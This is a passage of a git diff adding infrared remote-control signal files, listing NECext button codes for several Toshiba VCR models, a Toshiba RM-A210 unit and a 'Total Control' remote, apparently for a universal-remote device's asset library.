+# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 18 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 19 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 1B 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 1F 00 00 00 +# +name: INDEX +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 46 00 00 00 +# +name: RIGHT_ARROW +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 4D 00 00 00 +# +name: LEFT_ARROW +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 51 00 00 00 +# +name: AUDIO_SELECT +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 53 00 00 00 +# +name: OTR_OFF +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 5B 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 5C 00 00 00 +# +name: TAPE_SPEED +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 5D 00 00 00 +# +name: TV/LINE +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 5F 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 83 00 00 00 +# +name: ZERO_RETURN +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 87 00 00 00 +# +name: COUNTER_RESET +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 96 00 00 00 +# +name: OTR_ON +type: parsed +protocol: NECext +address: 44 00 00 00 +command: AC 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 44 00 00 00 +command: F5 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_VC-90B/68,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_VC-90B/68,-1.ir new file mode 100644 index 000000000..eadbd3f9c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_VC-90B/68,-1.ir @@ -0,0 +1,146 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 09 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 0A 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 0D 00 00 00 +# +name: Pause/Still +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 10 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 12 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 13 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 14 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 15 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 18 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 19 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 1B 00 00 00 +# +name: x2> +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 1D 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 1F 00 00 00 +# +name: Timer +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 4F 00 00 00 +# +name: TV_Still +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 50 00 00 00 +# +name: OTR +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 5B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_VT-11/68,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_VT-11/68,-1.ir new file mode 100644 index 000000000..21a849f2f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_VT-11/68,-1.ir @@ -0,0 +1,164 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 09 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 0A 00 00 00 +# +name: Slow_1/6 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 0D 00 00 00 +# +name: Slow_Tracking_Up +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 0E 00 00 00 +# +name: Slow_Tracking_Down +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 0F 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 10 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 12 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 13 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 14 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 15 00 00 00 +# +name: Remain/Count +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 16 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 18 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 19 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 1B 00 00 00 +# +name: Slow_1/12 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 1E 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 1F 00 00 00 +# +name: Index +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 46 00 00 00 +# +name: Timer +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 4F 00 00 00 +# +name: Otr +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 5B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_VT-204G/68,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_VT-204G/68,-1.ir new file mode 100644 index 000000000..f6ad74a80 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_VT-204G/68,-1.ir @@ -0,0 +1,230 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 09 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 0A 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 0B 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 0D 00 00 00 +# +name: PAUSE/STILL +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 10 00 00 00 +# +name: TV/VIDEO +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 11 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 12 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 13 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 14 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 15 00 00 00 +# +name: COUNT/TR +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 16 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 18 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 19 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 1B 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 1F 00 00 00 +# +name: SHIFT_R +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 4D 00 00 00 +# +name: TIMER +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 4F 00 00 00 +# +name: SHIFT_L +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 51 00 00 00 +# +name: OSP +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 5C 00 00 00 +# +name: INPUT_SELECT +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 5F 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 83 00 00 00 +# +name: T.SEARCH +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 85 00 00 00 +# +name: COUNTER_RESET +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 96 00 00 00 +# +name: VPS +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 97 00 00 00 +# +name: INDEX_+ +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 9E 00 00 00 +# +name: INDEX_- +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 9F 00 00 00 +# +name: SAT.CONT. +type: parsed +protocol: NECext +address: 44 00 00 00 +command: BC 00 00 00 +# +name: SAT.MONI. +type: parsed +protocol: NECext +address: 44 00 00 00 +command: C0 00 00 00 +# +name: KEY_CANCEL +type: parsed +protocol: NECext +address: 44 00 00 00 +command: EF 00 00 00 +# +name: SHOWVIEW +type: parsed +protocol: NECext +address: 44 00 00 00 +command: FC 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_VT-209W/68,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_VT-209W/68,-1.ir new file mode 100644 index 000000000..52d3d0e73 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_VT-209W/68,-1.ir @@ -0,0 +1,200 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 09 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 0A 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 0B 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 0D 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 10 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 12 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 13 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 14 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 15 00 00 00 +# +name: Counter +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 16 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 18 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 19 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 1B 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 1F 00 00 00 +# +name: Shift.R +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 4D 00 00 00 +# +name: Timer +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 4F 00 00 00 +# +name: Shift.L +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 51 00 00 00 +# +name: OSP +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 5C 00 00 00 +# +name: SP-LP +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 5D 00 00 00 +# +name: L.select +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 5F 00 00 00 +# +name: Display +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 83 00 00 00 +# +name: Index+ +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 9E 00 00 00 +# +name: Index- +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 9F 00 00 00 +# +name: KEY_CANCEL +type: parsed +protocol: NECext +address: 44 00 00 00 +command: EF 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 44 00 00 00 +command: F5 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_VT-75F/68,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_VT-75F/68,-1.ir new file mode 100644 index 000000000..e6002ca99 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_VT-75F/68,-1.ir @@ -0,0 +1,206 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 09 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 0A 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 0D 00 00 00 +# +name: align+ +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 0E 00 00 00 +# +name: align- +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 0F 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 10 00 00 00 +# +name: tvvcr +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 11 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 12 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 13 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 14 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 15 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 16 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 18 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 19 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 1B 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 1F 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 4D 00 00 00 +# +name: auto +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 4F 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 51 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 53 00 00 00 +# +name: immediat +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 5B 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 5C 00 00 00 +# +name: speed +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 5D 00 00 00 +# +name: input +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 5F 00 00 00 +# +name: reset +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 96 00 00 00 +# +name: dt +type: parsed +protocol: NECext +address: 44 00 00 00 +command: D4 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_toshiba-RM-A210/42,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_toshiba-RM-A210/42,-1.ir new file mode 100644 index 000000000..367280b84 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_toshiba-RM-A210/42,-1.ir @@ -0,0 +1,134 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 2A 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 2A 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 2A 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 2A 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 2A 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 2A 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 2A 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 2A 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 2A 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 2A 00 00 00 +command: 09 00 00 00 +# +name: intro_scan +type: parsed +protocol: NECext +address: 2A 00 00 00 +command: 0C 00 00 00 +# +name: random_play +type: parsed +protocol: NECext +address: 2A 00 00 00 +command: 0D 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: 2A 00 00 00 +command: 10 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 2A 00 00 00 +command: 13 00 00 00 +# +name: memory +type: parsed +protocol: NECext +address: 2A 00 00 00 +command: 14 00 00 00 +# +name: memory +type: parsed +protocol: NECext +address: 2A 00 00 00 +command: 14 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 2A 00 00 00 +command: 16 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 2A 00 00 00 +command: 17 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 2A 00 00 00 +command: 18 00 00 00 +# +name: rwnd +type: parsed +protocol: NECext +address: 2A 00 00 00 +command: 19 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 2A 00 00 00 +command: 1A 00 00 00 +# +name: frwnd +type: parsed +protocol: NECext +address: 2A 00 00 00 +command: 1B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Toshiba/VCR/68,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Toshiba/VCR/68,-1.ir new file mode 100644 index 000000000..3be15761c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Toshiba/VCR/68,-1.ir @@ -0,0 +1,194 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 09 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 0A 00 00 00 +# +name: SLOW_MOTION_- +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 0D 00 00 00 +# +name: SLOW_MOTION +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 0D 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 10 00 00 00 +# +name: TV/VCR +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 11 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 12 00 00 00 +# +name: FAST_FORWARD_>> +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 13 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 14 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 15 00 00 00 +# +name: CLOCK/COUNTER +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 16 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 18 00 00 00 +# +name: REWIND_<< +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 19 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 1B 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 1F 00 00 00 +# +name: TIMER +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 4F 00 00 00 +# +name: A._SELECT +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 53 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 5C 00 00 00 +# +name: SP/SLP +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 5D 00 00 00 +# +name: I._SELECT +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 5F 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 83 00 00 00 +# +name: RESET +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 96 00 00 00 +# +name: CANCEL +type: parsed +protocol: NECext +address: 44 00 00 00 +command: EF 00 00 00 +# +name: EJECT +type: parsed +protocol: NECext +address: 44 00 00 00 +command: F5 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Total Control/Unknown_Control/7,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Total Control/Unknown_Control/7,-1.ir new file mode 100644 index 000000000..b3e27bd4e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Total Control/Unknown_Control/7,-1.ir @@ -0,0 +1,242 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_E +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 00 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 01 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 03 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 04 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 05 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 06 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 08 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 09 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0A 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0B 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0C 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0D 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0E 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0F 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 11 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 12 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 14 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 15 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 17 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 18 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1A 00 00 00 +# +name: KEY_KPMINUS +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1B 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1D 00 00 00 +# +name: KEY_B +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1E 00 00 00 +# +name: rwd +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 20 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 21 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 22 00 00 00 +# +name: KEY_A +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 25 00 00 00 +# +name: av +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 26 00 00 00 +# +name: KEY_C +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 27 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 28 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 29 00 00 00 +# +name: KEY_D +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 2A 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 2B 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 30 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 33 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 36 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 39 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 3C 00 00 00 +# +name: KEY_RECORD +type: parsed 